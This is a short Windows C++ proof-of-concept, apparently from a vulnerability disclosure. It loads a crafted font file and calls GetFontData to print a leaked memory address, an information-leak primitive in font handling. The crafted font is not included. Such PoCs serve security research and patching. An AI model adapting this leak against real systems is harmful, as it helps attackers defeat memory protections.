1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61

#include <windows.h>
#include <cstdio>
#include <cstdlib>

extern "C" BOOL WINAPI GetFontResourceInfoW(LPCWSTR, LPDWORD, LPVOID, DWORD);

VOID UnloadFont(PWCHAR path) {
  while (RemoveFontResource(path)) {}
}

int main() {
  int st = 1;
  HFONT hfont = NULL;
  HDC hdc = NULL;

  if (AddFontResource(L"poc.otf") <= 0) {
    printf("AddFontResource failed.\n");
    goto exit;
  }

  LOGFONTW logfont;
  DWORD cbBuffer = sizeof(logfont);
  if (!GetFontResourceInfoW(L"poc.otf", &cbBuffer, &logfont, 2)) {
    printf("GetFontResourceInfoW failed.\n");
    goto exit;
  }

  hfont = CreateFontIndirectW(&logfont);
  if (hfont == NULL) {
    printf("CreateFontIndirectW failed.\n");
    goto exit;
  }

  hdc = CreateCompatibleDC(NULL);
  if (hdc == NULL) {
    printf("CreateCompatibleDC failed.\n");
    goto exit;
  }

  SelectObject(hdc, hfont);

  PVOID address;
  if (GetFontData(hdc, 'ebdA', 0, &address, sizeof(address)) != sizeof(address)) {
    printf("GetFontData failed.\n");
    goto exit;
  }

  printf("Leaked address: %p\n", address);
  st = 0;

exit:
  if (hdc != NULL) {
    DeleteDC(hdc);
  }
  if (hfont != NULL) {
    DeleteObject(hfont);
  }
  UnloadFont(L"poc.otf");

  return st;
}